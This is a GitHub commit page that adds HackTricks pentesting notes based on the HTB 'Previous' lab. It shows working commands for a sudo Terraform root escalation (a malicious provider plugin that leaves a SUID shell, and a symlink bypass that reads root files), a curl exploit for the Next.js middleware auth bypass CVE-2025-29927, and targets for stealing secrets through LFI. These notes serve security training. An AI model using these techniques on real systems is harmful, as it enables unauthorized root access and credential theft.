Skip to content

Commit 13f4812

Browse files
authored
Merge pull request #1746 from HackTricks-wiki/update_HTB__Previous_20260110_183001
HTB Previous
2 parents 1510edd + 4e7115d commit 13f4812

File tree

2 files changed

+81
-0
lines changed
  • src
    • linux-hardening/privilege-escalation
    • network-services-pentesting/pentesting-web

2 files changed

+81
-0
lines changed

src/linux-hardening/privilege-escalation/README.md

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -985,6 +985,48 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/
985985
- Avoid shell wrappers for sudo-allowed commands; use minimal binaries.
986986
- Consider sudo I/O logging and alerting when preserved env vars are used.
987987

988+
### Terraform via sudo with preserved HOME (!env_reset)
989+
990+
If sudo leaves the environment intact (`!env_reset`) while allowing `terraform apply`, `$HOME` stays as the calling user. Terraform therefore loads **$HOME/.terraformrc** as root and honors `provider_installation.dev_overrides`.
991+
992+
- Point the required provider at a writable directory and drop a malicious plugin named after the provider (e.g., `terraform-provider-examples`):
993+
994+
```hcl
995+
# ~/.terraformrc
996+
provider_installation {
997+
dev_overrides {
998+
"previous.htb/terraform/examples" = "/dev/shm"
999+
}
1000+
direct {}
1001+
}
1002+
```
1003+
1004+
```bash
1005+
cat >/dev/shm/terraform-provider-examples <<'EOF'
1006+
#!/bin/bash
1007+
cp /bin/bash /var/tmp/rootsh
1008+
chown root:root /var/tmp/rootsh
1009+
chmod 6777 /var/tmp/rootsh
1010+
EOF
1011+
chmod +x /dev/shm/terraform-provider-examples
1012+
sudo /usr/bin/terraform -chdir=/opt/examples apply
1013+
```
1014+
1015+
Terraform will fail the Go plugin handshake but executes the payload as root before dying, leaving a SUID shell behind.
1016+
1017+
### TF_VAR overrides + symlink validation bypass
1018+
1019+
Terraform variables can be provided via `TF_VAR_<name>` environment variables, which survive when sudo preserves the environment. Weak validations such as `strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")` can be bypassed with symlinks:
1020+
1021+
```bash
1022+
mkdir -p /dev/shm/root/examples
1023+
ln -s /root/root.txt /dev/shm/root/examples/flag
1024+
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
1025+
cat /home/$USER/docker/previous/public/examples/flag
1026+
```
1027+
1028+
Terraform resolves the symlink and copies the real `/root/root.txt` into an attacker-readable destination. The same approach can be used to **write** into privileged paths by pre-creating destination symlinks (e.g., pointing the provider’s destination path inside `/etc/cron.d/`).
1029+
9881030
### Sudo env_keep+=PATH / insecure secure_path → PATH hijack
9891031

9901032
If `sudo -l` shows `env_keep+=PATH` or a `secure_path` containing attacker-writable entries (e.g., `/home/<user>/bin`), any relative command inside the sudo-allowed target can be shadowed.
@@ -1837,6 +1879,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
18371879
- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
18381880
- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
18391881
- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
1882+
- [0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)](https://0xdf.gitlab.io/2026/01/10/htb-previous.html)
18401883
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
18411884
18421885
{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/nextjs.md

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -415,6 +415,20 @@ export default function DownloadPage() {
415415

416416
</details>
417417

418+
### Recon: static export route discovery via _buildManifest
419+
420+
When `nextExport`/`autoExport` are true (static export), Next.js exposes the `buildId` in the HTML and serves a build manifest at `/_next/static/<buildId>/_buildManifest.js`. The `sortedPages` array and route→chunk mapping there enumerate every prerendered page without brute force.
421+
422+
- Grab the buildId from the root response (often printed at the bottom) or from `<script>` tags loading `/_next/static/<buildId>/...`.
423+
- Fetch the manifest and extract routes:
424+
425+
```bash
426+
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
427+
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
428+
```
429+
430+
- Use the discovered paths (for example `/docs`, `/docs/content/examples`, `/signin`) to drive auth testing and endpoint discovery.
431+
418432
## Server-Side in Next.js
419433

420434
### Server-Side Rendering (SSR)
@@ -881,6 +895,20 @@ export const config = {
881895
}
882896
```
883897

898+
### Middleware authorization bypass (CVE-2025-29927)
899+
900+
If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the `x-middleware-subrequest` header. The framework will skip middleware recursion and return the protected page.
901+
902+
- Baseline behavior is typically a 307 redirect to a login route like `/api/auth/signin`.
903+
- Send a long `x-middleware-subrequest` value (repeat `middleware` to hit `MAX_RECURSION_DEPTH`) to flip the response to 200:
904+
905+
```bash
906+
curl -i "http://target/docs" \
907+
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
908+
```
909+
910+
- Because authenticated pages pull many subresources, add the header to every request (e.g., Burp Match/Replace with an empty match string) to keep assets from redirecting.
911+
884912
### `next.config.js`
885913

886914
**Location:** Root of the project.
@@ -1203,6 +1231,15 @@ module.exports = {
12031231

12041232
**Note:** To restrict variables to server-side only, omit them from the `env` object or prefix them with `NEXT_PUBLIC_` for client exposure.
12051233

1234+
### Useful server artifacts to target via LFI/download endpoints
1235+
1236+
If you find a path traversal or download API in a Next.js app, target compiled artifacts that leak server-side secrets and auth logic:
1237+
1238+
- `.env` / `.env.local` for session secrets and provider credentials.
1239+
- `.next/routes-manifest.json` and `.next/build-manifest.json` for a complete route list.
1240+
- `.next/server/pages/api/auth/[...nextauth].js` to recover the compiled NextAuth configuration (often contains fallback passwords when `process.env` values are unset).
1241+
- `next.config.js` / `next.config.mjs` to review rewrites, redirects and middleware routing.
1242+
12061243
### Authentication and Authorization
12071244

12081245
**Approach:**
@@ -1401,6 +1438,7 @@ python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
14011438
- [NextjsServerActionAnalyzer (Burp extension)](https://github.com/Adversis/NextjsServerActionAnalyzer)
14021439
- [CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool](https://github.com/Spritualkb/CVE-2025-55182-exp)
14031440
- [CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know](https://jfrog.com/blog/2025-55182-and-2025-66478-react2shell-all-you-need-to-know/)
1441+
- [0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)](https://0xdf.gitlab.io/2026/01/10/htb-previous.html)
14041442
- [assetnote/react2shell-scanner](https://github.com/assetnote/react2shell-scanner)
14051443

14061444
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)